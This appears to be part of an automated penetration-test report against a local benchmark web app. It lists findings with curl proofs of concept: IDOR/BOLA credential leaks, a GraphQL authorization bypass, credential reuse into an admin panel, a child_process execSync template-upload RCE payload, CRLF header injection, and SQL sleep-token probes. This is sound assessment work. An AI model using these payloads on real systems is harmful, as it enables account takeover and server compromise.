OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · receipt_missing · conf 0.60
LocationGET http://localhost:3000/api/v2/users/1
Agentchain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

GET http://localhost:3000/api/v2/users/1

What it means

Observed: - attack GET http://localhost:3000/api/v2/users/1 → 200 (439 bytes) [E01] - Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh [E02] Not demonstrated: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).

How to fix it

Enforce that the JWT subject == :id (or an admin role) before returning; never serialize password/apiKey to any client response.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      'http://localhost:3000/api/v2/users/1'
  2. Payload used:
    Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1

Payload

Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1

Technical evidence

ATTACK
  GET http://localhost:3000/api/v2/users/1 → 200
  body (439 bytes, excerpt):
    Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh

AGENT-RECORDED EVIDENCE
Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 13. Vertical privilege escalation via reused BOLA/SQLi-leaked admin password NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA07:2021-Auth-Failures · CWE-522Confidence1/1 · refute 1/2 · conf 0.22
Locationhttp://localhost:3000/login -> /admin
Agentchain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

http://localhost:3000/login -> /admin

What it means

Observed: - attack GET /admin → 200 (232 bytes) [E01] - Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session. [E02] Not demonstrated: Full admin takeover of the application. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Full admin takeover of the application. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Rotate credentials, store hashed passwords, remove secret exposure sinks (BOLA, SQLi).

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      '/admin'
  2. Payload used:
    username=admin&password=SuperSecretAdmin!2024

Payload

username=admin&password=SuperSecretAdmin!2024

Technical evidence

ATTACK
  GET /admin → 200
  body (232 bytes, excerpt):
    Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session.

AGENT-RECORDED EVIDENCE
Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session.

Low 14. Vertical privesc via credential reuse — leaked admin password logs into /admin NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA07:2021-Auth-Failures · CWE-522Confidence1/1 · refute 1/2 · conf 0.06
LocationPOST http://localhost:3000/login , GET /admin
Agentchain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-522

Where the problem is

POST http://localhost:3000/login , GET /admin

What it means

Observed: - attack POST /admin → 200 (194 bytes) [E01] - Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session. [E02] Not demonstrated: Complete vertical privilege escalation to administrator from a self-registered customer. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Complete vertical privilege escalation to administrator from a self-registered customer. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Fix BOLA/data exposure; rotate admin credential; enforce strong secrets + MFA on admin.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s -X POST \
      --data-raw 'username=admin&password=SuperSecretAdmin!2024' \
      '/admin'
  2. Payload used:
    username=admin&password=SuperSecretAdmin!2024

Payload

username=admin&password=SuperSecretAdmin!2024

Technical evidence

ATTACK
  POST /admin → 200
  body (194 bytes, excerpt):
    Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session.

AGENT-RECORDED EVIDENCE
Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session.

Low 15. GraphQL authorization bypass + introspection enabled — customer token reads admin creds; hidden… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-285Confidence1/1 · refute 1/2 · receipt_missing · conf 0.49
LocationPOST http://localhost:3000/api/graphql
Agentchain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

POST http://localhost:3000/api/graphql

What it means

Observed: - attack POST http://localhost:3000/api/graphql → 200 (468 bytes) [E01] - Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password. [E02] Not demonstrated: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).

How to fix it

Disable introspection in prod; enforce field/object authorization in resolvers; gate impersonateUser to admin.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s -X POST \
      --data-raw '{user(id:1){username role password apiKey}}   (introspection: {__schema{types{name}}})' \
      'http://localhost:3000/api/graphql'
  2. Payload used:
    {user(id:1){username role password apiKey}}   (introspection: {__schema{types{name}}})

Payload

{user(id:1){username role password apiKey}}   (introspection: {__schema{types{name}}})

Technical evidence

ATTACK
  POST http://localhost:3000/api/graphql → 200
  body (468 bytes, excerpt):
    Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.

AGENT-RECORDED EVIDENCE
Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 16. Controllable server-side response delay via SLEEP/pg_sleep token in POST /support/feedback comment (NOT… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA04:2021-Insecure-Design · CWE-89 (candidate, unconfirmed) / CWE-400 (uncontrolled resource consumption, potential)Confidence0/1 · receipt_missing · conf 0.05
LocationPOST http://localhost:3000/support/feedback
Agentsqli_time
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: out of reach for this assessment: no deterministic validator owns CWE-89 (candidate, unconfirmed) / CWE-400 (uncontrolled resource consumption, potential)

Where the problem is

POST http://localhost:3000/support/feedback — POST /support/feedback, application/x-www-form-urlencoded body field `comment`

What it means

Observed: - attack POST http://localhost:3000/support/feedback → 200 (760 bytes) [E01] - Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.' [E02] Not demonstrated: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).

How to fix it

If a SQL query does incorporate `comment`, use parameterised queries/prepared statements so input can never reach the SQL parser. Independently, remove any test/benchmark sleep-simulation code path that honours a SLEEP()/pg_sleep() token in user input before shipping outside the QA build, and cap/timeout request processing time so a single request cannot hold a worker for arbitrary seconds.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=just a normal comment' http://localhost:3000/support/feedback   # baseline ~0.001s
  2. curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=SLEEP(3)' http://localhost:3000/support/feedback   # ~3.0s, no SQL syntax needed
  3. curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=1,SLEEP(4),0)-- -" http://localhost:3000/support/feedback   # ~4.0s (TRUE)
  4. curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=2,SLEEP(4),0)-- -" http://localhost:3000/support/feedback   # STILL ~4.0s (FALSE) => not boolean-gated => not real blind SQLi
  5. curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND WAITFOR DELAY '0:0:3'-- -" http://localhost:3000/support/feedback   # ~0.001s, only SLEEP/pg_sleep token matched
  6. bash /opt/neurosploit-rs/runs/ns-1789919119-localhost_3000/pocs/feedback_sleep_delay.sh   # runs the full matrix

Payload

comment=SLEEP(3)   (also: comment=hello SLEEP(3) world ; comment=test' AND pg_sleep(5)-- - ; comment=test' AND IF(1=2,SLEEP(4),0)-- -)

Technical evidence

ATTACK
  POST http://localhost:3000/support/feedback → 200
  body (760 bytes, excerpt):
    Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.'

AGENT-RECORDED EVIDENCE
Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.'

Runnable script (extra)

The steps above are the proof; this script automates them.

Low 17. Authenticated RCE (root) via JS report template upload at POST /support/reports/upload + GET… NEEDS REVIEW

CriticalityLowStatusneeds-review
OWASP / CWEA03:2021-Injection · CWE-94Confidence0/1 · receipt_missing · conf 0.12
Locationhttp://localhost:3000/support/reports/upload
Agentchain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands

Where the problem is

http://localhost:3000/support/reports/upload

What it means

Observed: - attack GET http://localhost:3000/support/reports/upload → 200 (276 bytes) [E01] - pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above. [E02] Not demonstrated: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Never eval/require user-uploaded templates; sandbox report formatting; drop root privileges.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      'http://localhost:3000/support/reports/upload'
  2. Payload used:
    multipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.js

Payload

multipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.js

Technical evidence

ATTACK
  GET http://localhost:3000/support/reports/upload → 200
  body (276 bytes, excerpt):
    pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.

AGENT-RECORDED EVIDENCE
pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 18. Credential-reuse privilege escalation: looted admin password -> admin login -> full admin panel NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA07:2021-Auth-Failures · CWE-522Confidence1/1 · refute 0/2 · conf 0.33
LocationPOST http://localhost:3000/login -> GET /admin
Agentchain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-522

Where the problem is

POST http://localhost:3000/login -> GET /admin

What it means

Observed: - attack POST /admin → 200 (343 bytes) [E01] - POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table. [E02] Not demonstrated: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Fix NS-01 (stop leaking passwords); store passwords hashed (bcrypt/argon2) so a leak is not directly reusable; rotate all exposed credentials.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s -X POST \
      --data-raw 'login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)' \
      '/admin'
  2. Payload used:
    login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)

Payload

login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)

Technical evidence

ATTACK
  POST /admin → 200
  body (343 bytes, excerpt):
    POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table.

AGENT-RECORDED EVIDENCE
POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table.

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 19. IDOR/BOLA at GET /account/invoice/:id — cross-user invoice access NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence1/1 · refute 1/2 · receipt_missing · conf 0.34
LocationGET http://localhost:3000/account/invoice/1001
Agentchain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

GET http://localhost:3000/account/invoice/1001

What it means

Observed: - attack GET http://localhost:3000/account/invoice/1001 → 200 (247 bytes) [E01] - Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh [E02] Not demonstrated: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Scope invoice lookup to the authenticated user id; return 403/404 for non-owned invoices.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      'http://localhost:3000/account/invoice/1001'
  2. Payload used:
    cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}

Payload

cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}

Technical evidence

ATTACK
  GET http://localhost:3000/account/invoice/1001 → 200
  body (247 bytes, excerpt):
    Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh

AGENT-RECORDED EVIDENCE
Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 20. A CR-LF in the /go `url` parameter is decoded and written into the response header block, injecting… NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA03:2021-Injection · CWE-93Confidence1/1 · conf 0.37
Locationhttp://localhost:3000/go
Agentcrlf_injection
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential

Where the problem is

http://localhost:3000/go — GET /go, query parameter `url` — value copied raw into the Location response header

What it means

Observed: - GET /go?url=https://ex.com -> 302, Location: https://ex.com, no X-Injected header [E01] - GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621 -> 302 with response header line X-Injected:nrsplt6621 [E02] - GET /go?url=...%0D%0ASet-Cookie:evil=1 -> 302 with response header Set-Cookie:evil=1 [E03] - attack repeated 2x, identical injected header both times [E04] Not demonstrated: Session fixation / redirect cache-poisoning via injected Set-Cookie. Potential impact: Injected Set-Cookie enables session fixation; injected headers enable cache poisoning of the redirect response. Not exploited end-to-end.

How to fix it

Reject or strip CR (\r, %0d) and LF (\n, %0a) from the `url` parameter before writing it to the Location header; validate the redirect target against an allowlist of scheme+host and URL-encode residual control characters. Do not pass user input unmodified to res.redirect()/res.setHeader().

Proof of concept — step by step

  1. curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com'   # baseline: Location: https://ex.com, no X-Injected
  2. curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621'   # attack: X-Injected:nrsplt6621 appears as a response header
  3. curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1'   # also injects attacker Set-Cookie
  4. Read the response header block: injected lines appear after Location/X-Nimbus-Redirect

Payload

url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1

Technical evidence

ATTACK
  GET http://localhost:3000/go → 200
  body (459 bytes, excerpt):
    BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected.

AGENT-RECORDED EVIDENCE
BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected.

Info 21. Internal support-tools bearer token & QA config hardcoded in /app.js NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA04:2021-Insecure-Design · CWE-615Confidence0/1 · receipt_missing · conf 0.41
Locationhttp://localhost:3000/app.js
Agentchain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-615

Where the problem is

http://localhost:3000/app.js

What it means

Observed: - attack GET http://localhost:3000/app.js → 200 (155 bytes) [E01] - window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471). [E02] Not demonstrated: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Remove secrets from client bundle; rotate token.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      'http://localhost:3000/app.js'
  2. Payload used:
    GET /app.js

Payload

GET /app.js

Technical evidence

ATTACK
  GET http://localhost:3000/app.js → 200
  body (155 bytes, excerpt):
    window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).

AGENT-RECORDED EVIDENCE
window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).

Info 22. Test accounts created during the engagement (DELETE after) NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA04:2021-Insecure-DesignConfidenceconf 0.05
Locationhttp://localhost:3000
Agentaccount_registration_and_formsAuth contextn/a · 7 test account(s)
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class

Where the problem is

http://localhost:3000

What it means

Observed: - attack GET http://localhost:3000 → 200 (924 bytes) [E01] - 7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02] - • nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password [E03] - • nrsplt_b7558@example.test [customer] — created via curl POST username/email/password [E04] - • nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign) [E05] - • poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral) [E06] - • nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded [E07] - • nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run) [E08] - • nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login [E09] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — 